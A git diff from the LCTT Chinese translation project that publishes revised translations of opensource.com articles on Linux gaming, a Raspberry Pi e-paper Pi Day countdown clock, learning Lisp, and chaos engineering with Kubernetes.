贡献者(像我一样)会定期发布安装脚本,使你可以轻松安装自己的游戏。这并不是必须的,但它可以是一个很好的捷径,可以绕过一些繁琐的配置。 + +Lutris 也可以借助运行器或子系统,来运行那些不能从应用菜单直接启动的游戏。比如你想玩开源的《魔兽塔防Warcraft Tower Defense》这样的游戏机游戏,你必须运行模拟器。如果你已经安装过模拟器的话,Lutris 可以帮你处理这一切。除此以外,如果你有一个 GOG.com 游戏账号,Lutris 可以访问它,并可以把游戏导入你的游戏库中。 + +没有比这更容易的管理你的游戏的方式了。 + +### 去玩游戏吧 + +Linux 游戏是一种充实且给人力量的体验。我过去避免玩电脑游戏,因为我不觉得我有太多的选择。似乎昂贵的游戏总是在不断发布,并且不可避免的获得好或者不好的极端体验,然后很快又转向下一个。另一方面,开源游戏把我引入了游戏的圈子。我见到过其他玩家和开发者。我见到过艺术家和音乐家、粉丝以及推广者。我玩过各种各样的我从来不知道的游戏。其中一些甚至不够我玩一下午,而其他的却让我长久的着迷于游戏、修改、关卡设计和乐趣。 + +如果你准备好放下爆米花,从各个角度体验下游戏的话,那就在 Linux 上开始游戏吧。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/2/linux-gaming + +作者:[Seth Kenlon][a] +选题:[lujun9972][b] +译者:[godgithubf](https://github.com/godgithubf) +校对:[wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/seth +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gaming_grid_penguin.png?itok=7Fv83mHR (Gaming with penguin pawns) +[2]: https://opensource.com/alternatives/minecraft +[3]: https://itch.io/jam/open-jam-2020 +[4]: https://opensource.com/article/20/5/open-source-fps-games +[5]: https://hyperparticle.itch.io/nodulus +[6]: https://www.openttd.org/ +[7]: https://rcorre.itch.io/jethook +[8]: http://sauerbraten.org/ +[9]: https://opensource.com/article/18/9/open-jam-announcement +[10]: https://opensource.com/sites/default/files/game_0.png +[11]: http://flathub.org +[12]: https://github.com/ValveSoftware/Proton +[13]: http://winehq.org +[14]: https://opensource.com/business/16/8/flatpak +[15]: https://www.redhat.com/en/enterprise-linux-8 +[16]: http://lutris.net +[17]: https://opensource.com/article/18/10/lutris-open-gaming-platform +[18]: https://ndswtd.wordpress.com/download diff --git a/published/20210210 Manage your budget on Linux with this open source finance tool.md b/published/202206/20210210 Manage your budget on Linux with this open source finance tool.md similarity index 100% rename from published/20210210 Manage your budget on Linux with this open source finance tool.md rename to published/202206/20210210 Manage your budget on Linux with this open source finance tool.md diff --git a/translated/tech/20210319 Create a countdown clock with a Raspberry Pi.md b/published/202206/20210319 Create a countdown clock with a Raspberry Pi.md similarity index 54% rename from translated/tech/20210319 Create a countdown clock with a Raspberry Pi.md rename to published/202206/20210319 Create a countdown clock with a Raspberry Pi.md index a888429ccd..40f4299374 100644 --- a/translated/tech/20210319 Create a countdown clock with a Raspberry Pi.md +++ b/published/202206/20210319 Create a countdown clock with a Raspberry Pi.md @@ -3,50 +3,50 @@ [#]: author: (Chris Collins https://opensource.com/users/clcollins) [#]: collector: (lujun9972) [#]: translator: (Donkey-Hao) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) +[#]: reviewer: (wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14731-1.html) -使用树莓派做一个倒计时闹钟 +使用树莓派做一个倒计时器 ====== -使用树莓派和 ePaper 显示器开始倒计时您的下一个假期。 -![Alarm clocks with different time][1] -2021年[ Pi Day ][2]来了又走,留下美好的回忆以及[许多树莓派项目][3]等待我们去尝试。在任何令人精神振奋、充满欢乐的假期后回到工作中都很难, Pi Day 也不例外。当我们回望三月的时候,渴望那些天的快乐。但是不用害怕,亲爱的 Pi Day 庆祝者们,我们开始下一个 Pi Day 的漫长倒计时! +> 使用树莓派和电子纸显示屏开始倒计时你的下一个假期。 -好了,严肃点。我做了一个 Pi Day 倒计时器,你也可以! +![](https://img.linux.net.cn/data/attachment/album/202206/19/145133beh3yp1s3ky6bi5b.jpg) -不久前,我购买了一个 [树莓派 Zero W][4] 并且用它来 [解决 WiFi 较差的原因][5] 。我也对使用 ePaper 来作为显示器十分感兴趣。而我却没有一个很好的用途,但是那看起来很有趣!我买了一个十分适合放在树莓派的顶部的 2.13 英寸的 [ WaveShare 显示器][6] 。安装很简单:只需要将显示器接到树莓派的 GPIO 上即可。 +[圆周率日][2]Pi Day(3 月 14 日) 来了又走,留下美好的回忆以及 [许多树莓派项目][3] 等待我们去尝试。在任何令人精神振奋、充满欢乐的假期后回到工作中都很难,圆周率日也不例外。当我们回望三月的时候,渴望那些天的快乐。但是不用害怕,亲爱的圆周率日庆祝者们,我们开始下一个节日的漫长倒计时! -我使用 [树莓派系统][7] 来实现该项目,虽然其他的操作系统肯定也能完成。但是下面的 `raspi-config` 指令在树莓派系统上很容易使用。 +好了,严肃点。我做了一个圆周率日倒计时器,你也可以! -### 设置树莓派和 ePaper 显示器 +不久前,我购买了一个 [树莓派 Zero W][4],并且用它来 [解决 WiFi 信号较差的原因][5] 。我也对使用电子纸ePaper来作为它的显示屏十分感兴趣。虽然我不知道该用它来干什么,但是!它看起来真的很有趣!我买了一个十分适合放在树莓派的顶部的 2.13 英寸的 [WaveShare 显示器][6] 。安装很简单:只需要将显示器接到树莓派的 GPIO 上即可。 -设置树莓派和 ePaper 显示器一起工作,需要你在树莓派上启用串行外设接口 (SPI) 软件,安装 BCM2835 C 库(来访问树莓派上的 Broadcom BCM 2835 芯片的 GPIO 函数),安装 Python GPIO 库来控制 ePaper 显示器。最后,你需要安装 WaveShare 的库来使用 Python 控制 2.13 英寸的显示器。 +我使用 [树莓派操作系统][7] 来实现该项目,虽然其他的操作系统肯定也能完成。但是下面的 `raspi-config` 命令在树莓派系统上很容易使用。 + +### 设置树莓派和电子纸显示屏 + +设置树莓派和电子纸显示屏一起工作,需要你在树莓派软件中启用串行外设接口(SPI),安装 BCM2835 C 库(来访问树莓派上的博通 BCM 2835 芯片的 GPIO 功能),安装 Python GPIO 库来控制电子纸显示屏。最后,你需要安装 WaveShare 的库来使用 Python 控制这个 2.13 英寸的显示屏。 下面是完成这些的步骤。 #### 启用 SPI -树莓派上启用 SPI 最简单的方式是使用`raspi-config` 命令。SPI 总线允许串行数据通信与设备一起使用——在本例中,ePaper 显示: - +树莓派上启用 SPI 最简单的方式是使用 `raspi-config` 命令。SPI 总线允许与设备进行串行数据通信——在本例中,电子纸显示: ``` -`$ sudo raspi-config` +$ sudo raspi-config ``` -从弹出的菜单中, 选择 **Interfacing Options** -> **SPI** -> **Yes** 来启用 SPI 接口,然后启动。 +从弹出的菜单中, 选择 “接口选项Interfacing Options -> SPI -> Yes” 来启用 SPI 接口,然后启动。 #### 安装 BCM2835 库 -如上所述,BCM2835 库是用在树莓派 Broadcom BCM2385 芯片的软件,它允许访问 GPIO 引脚来控制设备。 - -在我写这篇文章之时,用于树莓派的最新 Broadcom BCM2385 库版本是 v1.68 。安装此库需要下载软件压缩包然后使用 `make` 来安装: +如上所述,BCM2835 库是用于树莓派博通 BCM2385 芯片的软件,它允许访问 GPIO 引脚来控制设备。 +在我写这篇文章之时,用于树莓派的最新博通 BCM2385 库版本是 v1.68 。安装此库需要下载软件压缩包然后使用 `make` 来安装: ``` # 下载 BCM2853 库并解压 -$ curl -sSL -o - | tar -xzf - +$ curl -sSL http://www.airspayce.com/mikem/bcm2835/bcm2835-1.68.tar.g> -o - | tar -xzf - # 进入解压后的文件夹 $ pushd bcm2835-1.68/ @@ -62,8 +62,7 @@ $ popd #### 安装需要的 Python 库 -你用 Python 控制 ePaper 显示器需要安装 Python 库 `RPi.GPIO` ,还需要 `python3-pil` 包画图。显然, PIL 包已经不行了, Pillow 可以作为代替方案。我还没有为该项目测试 Pillow ,但它可行: - +你用 Python 控制电子纸显示屏需要安装 Python 库 `RPi.GPIO`,还需要使用 `python3-pil` 包来画图。显然,PIL 包已经不行了,但 Pillow 可以作为代替方案。我还没有为该项目测试过 Pillow ,但它可行: ``` # 安装需要的 Python 库 @@ -76,45 +75,42 @@ _注意:这些是 Python3 的指令。你可以在 WaveShare 网站查到 Pyth #### 下载 WaveShare 示例和 Python 库 -Waveshare 维护一个 Python 和 C 的 Git 库,用于使用其 ePaper 显示器和一些展示如何使用它们的示例。对这个倒计时时钟而言,你需要克隆这个库并用于 2.13 英寸的显示器: +Waveshare 维护了一个 Python 和 C 的 Git 库,用于使用其电子纸显示屏和一些展示如何使用它们的示例。对这个倒计时时钟而言,你需要克隆这个库并使用用于 2.13 英寸显示屏的库: ``` # 克隆这个 WaveShare e-Paper git 库 -$ git clone +$ git clone https://github.com/waveshare/e-Paper.gi> ``` 如果你用不同的显示器或者其他公司产品,需要使用适配软件。 Waveshare 提供了很多指导: - * [WaveShare ePaper 设置指导][9] - * [WaveShare ePaper 库安装指导][10] - - + * [WaveShare 电子纸设置指导][9] + * [WaveShare 电子纸库安装指导][10] #### 获得有趣的字体(选做) 你可以随心所欲的使用显示器,为什么不搞点花样?找一个炫酷的字体! -这有大量 [开放字体许可][11] 的字体可用。我十分喜爱 Bangers 字体。如果你看过 YouTube 那你见过这种字体了,它十分流行。你可以下载到本地的共享字体目录文件中,并且所有的应用都可以使用,包括这个项目: +这有大量 [开放字体许可][11] 的字体可供选择。我十分喜爱 Bangers 字体。如果你看过 YouTube 那你见过这种字体了,它十分流行。你可以下载到本地的共享字体目录文件中,并且所有的应用都可以使用,包括这个项目: ``` -# “Bangers” 字体是 Vernon Adams 用 Google 字体开放许可授权的字体 +# “Bangers” 字体是 Vernon Adams 使用 Google 字体开放许可授权的字体 $ mkdir -p ~/.local/share/fonts -$ curl -sSL -o fonts/Bangers-Regular.ttf +$ curl -sSL https://github.com/google/fonts/raw/master/ofl/bangers/Bangers-Regular.ttf -o fonts/Bangers-Regular.ttf ``` -### 创建一个 Pi Day 倒计时器 +### 创建一个圆周率日倒计时器 -现在你已经安装好了软件,可以使用带有炫酷字体的 ePaper 显示器了。你可以创建一个有趣的项目:倒计时到下一个 Pi Day ! +现在你已经安装好了软件,可以使用带有炫酷字体的电子纸显示屏了。你可以创建一个有趣的项目:倒计时到下一个圆周率日! -如果你想,你可以从该项目的 [GitHub repo][13] 直接下载 [countdown.py][12] 这个 Python 文件并跳到文章结尾。 +如果你想,你可以从该项目的 [GitHub 仓库][13] 直接下载 [countdown.py][12] 这个 Python 文件并跳到文章结尾。 为了满足大家的好奇心,我将逐步讲解。 #### 导入一些库 - ``` #!/usr/bin/python3 # -*- coding:utf-8 -*- @@ -134,11 +130,11 @@ waveshare_base = basedir.joinpath('e-Paper', 'RaspberryPi_JetsonNano', 'python') libdir = waveshare_base.joinpath('lib') ``` -开始先导入一些标准库之后脚本中用。也需要你添加一些 PIL 的包: `Image`, `ImageDraw` ,和 `ImageFont` ,你会 用到这些包来画一些简单的图形。最后,为包含用于 2.13 英寸显示器的 Waveshare Python 库的本地 `lib` 目录设置一些变量,稍后你可以使用这些变量从本地目录加载库。 +开始先导入一些标准库之后脚本中用。也需要你从 PIL 添加 `Image`、`ImageDraw` 和 `ImageFont`,你会用到这些来画一些简单的图形。最后,为本地 `lib` 目录设置一些变量,该目录包含了用于 2.13 英寸显示屏的 Waveshare Python 库,稍后你可以使用这些变量从本地目录加载库。 #### 字体大小辅助函数 -下一部分是为你选择的字体建立一个修改大小的辅助函数: Bangers-Regular.ttf 。该函数将整型变量作为大小参数并返回一个图形字体对象来用于显示: +下一部分是为你选择的 Bangers-Regular.ttf 字体建立一个修改大小的辅助函数。该函数将整型变量作为大小参数,并返回一个图形字体对象来用于显示: ``` def set_font_size(font_size): @@ -148,15 +144,14 @@ def set_font_size(font_size): #### 倒计时逻辑 -接下来是计算这个项目的一个函数:距下次 Pi Day 还有多久。如果 Pi Day 在一月,那么计算剩余天数将很简单。但是你需要考虑是否今年的 Pi Day 这一天已经过去了。如果是这样的话,那么计算量将会很大: - +接下来是计算这个项目的一个函数:距下次圆周率日还有多久。如果是在一月,那么计算剩余天数将很简单。但是你需要考虑是否今年的圆周率日是否已经过去了(允悲)。如果是的话,那么计算在你可以再次庆祝之前还有多少天: ``` def countdown(now):     piday = datetime(now.year, 3, 14)     # 如果错过了就增加一年 -    if piday < now: +    if piday < now:         piday = datetime((now.year + 1), 3, 14)     days = (piday - now).days @@ -167,8 +162,7 @@ def countdown(now): #### 主函数 -最后,到了主函数,需要初始化显示器并向它写数据。这时,你应该写一个欢迎语然后再开始倒计时。但是首先,你需要加载 Waveshare 库: - +最后,到了主函数,需要初始化显示屏并向它写数据。这时,你应该写一个欢迎语然后再开始倒计时。但是首先,你需要加载 Waveshare 库: ``` def main(): @@ -181,9 +175,9 @@ def main():         sys.exit(1) ``` -上面的代码片段检查以确保该库已下载到倒计时脚本旁边的目录中,然后加载“epd2in13_V2”库。 如果你使用不同的显示器,则需要使用不同的库。 如果你愿意,也可以自己编写。我发现阅读 Waveshare 随显示器提供的 Python 代码很有趣,它比我想象的要简单得多。 +上面的代码片段检查以确保该库已下载到倒计时脚本旁边的目录中,然后加载`epd2in13_V2` 库。如果你使用不同的显示屏,则需要使用不同的库。如果你愿意,也可以自己编写。我发现阅读 Waveshare 随显示屏提供的 Python 代码很有趣,它比我想象的要简单得多。 -下一段代码创建一个 EPD( ePaper 显示器)对象以与显示器交互并初始化硬件: +下一段代码创建一个 EPD(电子纸显示屏)对象以与显示器交互并初始化硬件: ```     logging.info("Starting...") @@ -198,11 +192,10 @@ def main():         epd.Clear(0xFF) ``` -关于 ePaper 的一个有趣之处:它仅在将像素从白色变为黑色或从黑色变为白色时才使用电源。这意味着当设备断电或应用程序因任何原因停止时,屏幕上的任何内容都会保留下来。从功耗的角度来看,这很好,但这也意味着您需要在启动时清除显示,否则您的脚本只会覆盖屏幕上已有的内容。 因此,`epd.Clear(0xFF)` 用于在脚本启动时清除显示。 +关于电子纸的一个有趣之处:它仅在将像素从白色变为黑色或从黑色变为白色时才耗电。这意味着当设备断电或应用程序因任何原因停止时,屏幕上的任何内容都会保留下来。从功耗的角度来看,这很好,但这也意味着你需要在启动时清除显示,否则你的脚本只会覆盖屏幕上已有的内容。 因此,`epd.Clear(0xFF)` 用于在脚本启动时清除显示。 接下来,创建一个“画布”来绘制剩余的显示输出: - ```     # 创建一个图形对象 # 注意:"epd.heigh" 是屏幕的长边 @@ -217,15 +210,12 @@ def main(): #### 欢迎语 -接下来,你将开始画一些画。这涉及在你之前创建的“画布”对象上设置数据。这还没有将它绘制到 ePaper 显示器上——你现在只是在构建你想要的图像。由你为这个项目绘制带有一块馅饼的图像,来创建一个庆祝 Pi Day 的欢迎信息: +接下来,你将开始画一些画。这涉及在你之前创建的“画布”对象上设置数据。这还没有将它绘制到电子纸显示屏上——你现在只是在构建你想要的图像。由你为这个项目绘制带有一块馅饼的图像,来创建一个庆祝圆周率日的欢迎信息: ![画一块馅饼][14] -(Chris Collins, [CC BY-SA 4.0][15]) - 很可爱,不是吗? - ```     logging.info("Set text text...")     bangers64 = set_font_size(64) @@ -235,20 +225,20 @@ def main():     bmp = Image.open(basedir.joinpath("img", "pie.bmp"))     image.paste(bmp, (150,2)) ``` -最后,_最后_,你可以展示你画的图画: +最后,_真是是最后了_,你可以展示你画的图画: ```     logging.info("Display text and BMP")     epd.display(epd.getbuffer(image)) ``` -That bit above updates the display to show the image you drew. +上面那段话更新了显示屏,以显示你所画的图像。 接下来,准备另一幅图像展示你的倒计时: -#### Pi Day 倒计时 -首先,创建一个用来展示倒计时的项目。也需要设置数字的字体大小: +#### 圆周率日倒计时 +首先,创建一个用来展示倒计时的图像对象。也需要设置数字的字体大小: ```     logging.info("Pi Date countdown; press CTRL-C to exit") @@ -262,15 +252,13 @@ That bit above updates the display to show the image you drew. 为了使它显示的时候更像一个倒计时,更新图像的一部分是更加有效的手段,仅更改已经改变的显示数据部分。下面的代码准备以这样方式运行: - ```     # 准备更新显示     epd.displayPartBaseImage(epd.getbuffer(piday_image))     epd.init(epd.PART_UPDATE) ``` -最后,需要计时,开始一个无限循环来检查据下次 Pi Day 还有多久并显示在 ePaper上。如果到了 Pi Day ,你可以输出一些庆祝短语: - +最后,需要计时,开始一个无限循环来检查据下次圆周率日还有多久,并显示在电子纸上。如果到了圆周率日,你可以输出一些庆祝短语: ```     while (True): @@ -295,7 +283,7 @@ That bit above updates the display to show the image you drew.         time.sleep(5) ``` -脚本最后做了一些错误处理,包括捕获键盘中断,这样你可以使用 **Ctrl**+**C** 来结束无限循环,以及一个根据计数来打印 'day' 或 'days' 的函数: +脚本最后做了一些错误处理,包括捕获键盘中断,这样你可以使用 `Ctrl + C` 来结束无限循环,以及一个根据计数来打印 `day` 或 `days` 的函数: ```     except IOError as e: @@ -319,19 +307,16 @@ if __name__ == "__main__":     main() ``` -现在你已经拥有一个倒计时脚本并显示剩余天数!这是在我的树莓派上的显示(视频经过加速,我没有足够的磁盘空间来保存一整天的视频): +现在你已经拥有一个倒计时并显示剩余天数的脚本!这是在我的树莓派上的显示(视频经过加速,我没有足够的磁盘空间来保存一整天的视频): ![Pi Day Countdown Timer In Action][16] -(Chris Collins, [CC BY-SA 4.0][15]) - #### 安装 systemd 服务(选做) -如果你希望在系统打开时运行倒计时显示并且无需登录并运行脚本,您可以将可选的 systemd 单元安装为 [systemd 用户服务][17]. +如果你希望在系统打开时运行倒计时显示,并且无需登录并运行脚本,你可以将可选的 systemd 单元安装为 [systemd 用户服务][17]。 将 GitHub 上的 [piday.service][18] 文件复制到 `${HOME}/.config/systemd/user`,如果该目录不存在,请先创建该目录。然后你可以启用该服务并启动它: - ``` $ mkdir -p ~/.config/systemd/user $ cp piday.service ~/.config/systemd/user @@ -345,11 +330,11 @@ $ loginctl enable-linger $USER 该脚本将输出到 systemd 日志,可以使用 `journalctl` 命令查看输出。 -### 它开始看起来很像 Pi Day ! +### 它开始看起来像是圆周率日了! -现在你拥有了一个树莓派 Zero W 显示在 ePaper显示器上的 Pi Day 倒计时器!并在系统启动时使用 systemd 单元文件启动!现在只有 350 天左右我们才可以再次相聚庆祝奇妙的设备———树莓派。通过我们的小项目,我们可以一目了然地看到确切的天数。 +这就是你的作品!一个显示在电子纸显示屏上的树莓派 Zero W 圆周率日倒计时器!并在系统启动时使用 systemd 单元文件启动!现在距离我们可以再次相聚庆祝圆周率日还有好多天的奇妙设备———树莓派。通过我们的小项目,我们可以一目了然地看到确切的天数。 -但事实上,任何人都可以全年都在心中举行 Pi Day,因此请享受使用自己的树莓派创建一些有趣且具有教育意义的项目吧! +但实际上,每个人都可以在每一天在心中庆祝圆周率日,因此请使用自己的树莓派创建一些有趣且具有教育意义的项目吧! -------------------------------------------------------------------------------- @@ -358,7 +343,7 @@ via: https://opensource.com/article/21/3/raspberry-pi-countdown-clock 作者:[Chris Collins][a] 选题:[lujun9972][b] 译者:[Donkey](https://github.com/Donkey-Hao) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/20210405 How different programming languages do the same thing.md b/published/202206/20210405 How different programming languages do the same thing.md similarity index 100% rename from published/20210405 How different programming languages do the same thing.md rename to published/202206/20210405 How different programming languages do the same thing.md diff --git a/translated/tech/20210503 Learn the Lisp programming language in 2021.md b/published/202206/20210503 Learn the Lisp programming language in 2021.md similarity index 84% rename from translated/tech/20210503 Learn the Lisp programming language in 2021.md rename to published/202206/20210503 Learn the Lisp programming language in 2021.md index 8b6ec6197c..fc5b4e6588 100644 --- a/translated/tech/20210503 Learn the Lisp programming language in 2021.md +++ b/published/202206/20210503 Learn the Lisp programming language in 2021.md @@ -3,23 +3,22 @@ [#]: author: "Seth Kenlon https://opensource.com/users/seth" [#]: collector: "lkxed" [#]: translator: "lkxed" -[#]: reviewer: " " -[#]: publisher: " " -[#]: url: " " +[#]: reviewer: "wxy" +[#]: publisher: "wxy" +[#]: url: "https://linux.cn/article-14751-1.html" 一起来学习 Lisp 编程语言吧! ====== -许多大型代码库中都有 Lisp 代码的身影,因此,熟悉一下这门语言是一个明智之举。 -![科技和计算领域的女性][1] +![](https://img.linux.net.cn/data/attachment/album/202206/24/124147v0loy4e3y0hneih8.jpg) -图源:kris krüg +> 许多大型代码库中都有 Lisp 代码的身影,因此,熟悉一下这门语言是一个明智之举。 -Lisp 在 1958 年就被发明出来了,它是世界上第二老的计算机编程语言(LCTT 译注:最老的是 Fortran,诞生于 1957 年)。它有许多现代的衍生品,包括 Common Lisp、Emacs Lisp(Elisp)、Clojure、Racket、Scheme、Fennel 和 GNU Guile 等。 +早在 1958 年,Lisp 就被发明出来了,它是世界上第二古老的计算机编程语言(LCTT 译注:最古老的编程语言是 Fortran,诞生于 1957 年)。它有许多现代的衍生品,包括 Common Lisp、Emacs Lisp(Elisp)、Clojure、Racket、Scheme、Fennel 和 GNU Guile 等。 -那些喜欢思考编程语言设计的人,往往都喜欢 Lisp,因为它的语法和数据有者相同的结构:Lisp 代码实际上是一个列表的列表a list of lists,它的名字其实是 “列表处理”LISt Processing 的首字母缩写。那些喜欢思考编程语言美学的人,往往都讨厌 Lisp,因为它经常使用括号来定义范围;事实上,编程界也有一个广为流传的笑话:Lisp 代表的其实是 “大量烦人的多余括号”Lots of Irritating Superfluous Parentheses。 +那些喜欢思考编程语言的设计的人,往往都喜欢 Lisp,因为它的语法和数据有着相同的结构:Lisp 代码实际上是一个列表的列表a list of lists,它的名字其实是 “列表处理LISt Processing” 的简写。而那些喜欢思考编程语言的美学的人,往往都讨厌 Lisp,因为它经常使用括号来定义范围;事实上,编程界也有一个广为流传的笑话:Lisp 代表的其实是 “大量烦人的多余括号”Lots of Irritating Superfluous Parentheses。 -不管你是喜欢还是讨厌 Lisp 的设计哲学,你都不得不承认,它都是一门有趣的语言,过去如此,现在亦然(这得归功于现代方言 Clojure 和 Guile)。你可能会感到惊讶,但事实就是,Lisp 在任何行业的大型代码库中都占有一席之地。因此,现在开始学习 Lisp,至少熟悉一下它,不失为一个好主意。 +不管你是喜欢还是讨厌 Lisp 的设计哲学,你都不得不承认,它都是一门有趣的语言,过去如此,现在亦然(这得归功于现代方言 Clojure 和 Guile)。你可能会惊讶于在任何特定行业的大代码库中潜伏着多少 Lisp 代码,因此,现在开始学习 Lisp,至少熟悉一下它,不失为一个好主意。 ### 安装 Lisp @@ -55,7 +54,7 @@ $ brew install clisp ### 列表处理 -Lisp 源代码的基本单元是 “表达式”expression,它在形式上是一个列表。举个例子,下面就是一个列表,它由一个操作符(`+`)和两个整数(`1` 和 `2`)组成的: +Lisp 源代码的基本单元是 “表达式expression”,它在形式上是一个列表。举个例子,下面就是一个列表,它由一个操作符(`+`)和两个整数(`1` 和 `2`)组成: ``` (+ 1 2) @@ -85,7 +84,7 @@ $ clisp ### 函数 -在了解了 Lisp 表达式的基本结构后,你可以使用函数来做更多有用的事。譬如,`print` 函数可以接受任意数量的参数,然后把它们都显示在你的终端上,`pprint` 函数还可以实现格式化打印。还有更多不同的打印函数,不过,`pprint` 在 REPL 中的效果还挺好的: +在了解了 Lisp 表达式的基本结构后,你可以使用函数来做更多有用的事。譬如,`print` 函数可以接受任意数量的参数,然后把它们都显示在你的终端上,`pprint` 函数还可以实现格式化打印。还有更多不同的打印函数,不过,`pprint` 在 REPL 中的效果就挺好的: ``` [1]> (pprint "hello world") @@ -121,7 +120,7 @@ MYPRINTER [3]> ``` -你可以往表达式里嵌套表达式(就像使用某种管道一样)。举个例子,你可以先使用 `string-upcase` 函数,把某个字符串的所有字符转换成大写,然后再使用 `pprint` 函数,将它的内容格式化打印到终端上: +你可以在表达式里嵌套表达式(就像使用某种管道一样)。举个例子,你可以先使用 `string-upcase` 函数,把某个字符串的所有字符转换成大写,然后再使用 `pprint` 函数,将它的内容格式化打印到终端上: ``` [3]> (pprint (string-upcase foo)) @@ -142,7 +141,6 @@ Lisp 是动态类型语言,这意味着,你在给变量赋值时不需要声 如果你想让整数被当作字符串来处理,你可以给它加上引号: - ``` [4]> (setf foo "2") "2" @@ -215,7 +213,7 @@ $ ### 编写脚本 -Lisp 可以被编译,也可以作为解释型的脚本语言来使用。在你刚开始学习的时候,后者很可能是最容易的选项,特别是当你已经熟悉 Python 或 [Shell 脚本][9] 时。 +Lisp 可以被编译,也可以作为解释型的脚本语言来使用。在你刚开始学习的时候,后者很可能是最容易的方式,特别是当你已经熟悉 Python 或 [Shell 脚本][9] 时。 下面是一个用 Common Lisp 编写的简单的“掷骰子”脚本: @@ -231,7 +229,7 @@ Lisp 可以被编译,也可以作为解释型的脚本语言来使用。在你 (roller userput) ``` -脚本的第一行注释告诉了你的 POSIX 终端,该使用什么可执行文件来运行这个脚本。 +脚本的第一行注释(LCTT 译注:称之为“释伴shebang”)告诉了你的 POSIX 终端,该使用什么可执行文件来运行这个脚本。 `roller` 函数使用 `defun` 函数创建,它在内部使用 `random` 函数来打印一个伪随机数,这个伪随机数严格小于 `num` 列表中下标为 0 的元素。在脚本中,这个 `num` 列表还没有被创建,不过没关系,因为只有当脚本被调用时,函数才会执行。 @@ -278,7 +276,7 @@ via: https://opensource.com/article/21/5/learn-lisp 作者:[Seth Kenlon][a] 选题:[lkxed][b] 译者:[lkxed](https://github.com/lkxed) -校对:[校对者ID](https://github.com/校对者ID) +校对:[wxy](https://github.com/wxy) 本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 diff --git a/published/202206/20210531 Get started with Kubernetes using chaos engineering.md b/published/202206/20210531 Get started with Kubernetes using chaos engineering.md new file mode 100644 index 0000000000..2aaaaa83a7 --- /dev/null +++ b/published/202206/20210531 Get started with Kubernetes using chaos engineering.md @@ -0,0 +1,72 @@ +[#]: subject: (Get started with Kubernetes using chaos engineering) +[#]: via: (https://opensource.com/article/21/5/kubernetes-chaos) +[#]: author: (Jessica Cherry https://opensource.com/users/cherrybomb) +[#]: collector: (lujun9972) +[#]: translator: (Donkey-Hao) +[#]: reviewer: (turbokernel, wxy) +[#]: publisher: (wxy) +[#]: url: (https://linux.cn/article-14743-1.html) + +在 Kubernetes 中使用混沌工程 +====== + +> 在这篇文章中学习混沌工程的基础知识。 + +![](https://img.linux.net.cn/data/attachment/album/202206/22/110901xbb88ccb8lfcgcrl.jpg) + +混沌工程是由科学、规划以及实验组成的。它是一门在系统上进行实验的学科,用来建立系统在生产中承受混乱条件能力的信心。 + +首先,我会在文章导论部分解释混沌系统如何工作。 + +### 如何开始学习混沌系统呢? + +以我的经验,开始学习混沌系统的最好方式是触发一个此前生产中出现的事故来进行实验。使用过去的数据,制定一个计划,以相同的方式破坏你的系统,然后建立修复策略,并确认结果满足你预期。如果计划失败,你就有了一种新的实验方式,并朝着快速处理问题的新方式前进。 + +最重要的是,你可以随时记录所有内容,这意味着,随着时间的推移,整个系统将被完整记录下来,任何人都可以值守而无需太多加码,每个人都可以在周末好好休息。 + +### 你要在混沌工程中做什么? + +混沌系统实验运行背后有一些科学依据。我记录了其中一些步骤: + +1. **定义一个稳定状态:** 使用监控工具来搜集当系统没有问题或事故时,看起来功能正常的数据。 +2. **提出假设或使用先前的事故:** 现在你已经定义了一个稳定状态,请提出一个关于在事故或中断期间会发生(或发生过)的情况的假设。用这个假设来得出一系列将会发生的事故,以及如何解决问题的理论。然后你可以制定一个故意引发该问题的计划。 +3. **引发问题:** 用这个计划来破坏系统,并开始在真实环境中测试。收集破坏时的指标状态,按计划修复,并追踪提出解决方案所需时长。确保你把所有的东西都记录下来,以备将来发生故障时使用。 +4. **试图推翻你的假设:** 实验中最精彩的部分是尝试推翻你的思考或计划。你要创建一个不同的状态,看看你能走多远,并在系统中生成一个不同的稳定状态。 + +确保在你在另一个系统中生成的破坏因素前,建立一个处于稳定状态的控制系统。这将使你更容易在实验前、期间和之后发现各种稳定状态的差异。 + +### 混沌工程需要什么? + +这有一些初学混沌工程很好的工具: + +* 良好的文档编制方法 +* 一个捕捉你系统是否处于稳定状态的监控系统 + * Grafana + * Prometheus +* 混沌工程工具: + * Chaos mesh + * Litmus + * 之后的文章我会介绍更多 +* 一个假设 +* 一个计划 + +### 去搞破坏吧 + +现在你已经掌握了基础,是时候去安全的摧毁你的系统了。我计划每年制造四次混乱,然后努力实现每月一次的破坏。 + +混沌工程是一种很好的实践,也是推进你的内部文档保持最新的好方法。此外,随着时间的推移,新升级或应用程序部署将更加顺畅,你的日常生活管理将通过 Kubernetes 变得更加轻松。 + +-------------------------------------------------------------------------------- + +via: https://opensource.com/article/21/5/kubernetes-chaos + +作者:[Jessica Cherry][a] +选题:[lujun9972][b] +译者:[Donkey](https://github.com/Donkey-Hao) +校对:[turbokernel](https://github.com/turbokernel), [wxy](https://github.com/wxy) + +本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 + +[a]: https://opensource.com/users/cherrybomb +[b]: https://github.com/lujun9972 +[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/brett-jordan-chaos-unsplash.jpg?itok=sApp5dVd (Scrabble letters spell out chaos for chaos engineering) diff --git a/published/202206/20210630 9 reasons I love to use the Qt Creator IDE.md b/published/202206/20210630 9 reasons I love to use the Qt Creator IDE.md new file mode 100644 index 0000000000..87e3231afc --- /dev/null +++ b/published/202206/20210630 9 reasons I love to use the Qt Creator IDE.md @@ -0,0 +1,186 @@ +[#]: subject: (9 reasons I love to use the Qt Creator IDE) +[#]: via: (https://opensource.com/article/21/6/qtcreator) +[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) 